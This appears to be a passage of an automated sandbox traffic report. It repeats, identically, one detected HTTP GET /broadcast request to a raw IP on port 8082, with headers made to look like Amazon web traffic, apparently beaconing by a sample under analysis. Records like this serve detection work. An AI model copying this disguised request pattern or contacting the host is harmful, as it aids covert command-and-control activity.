Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
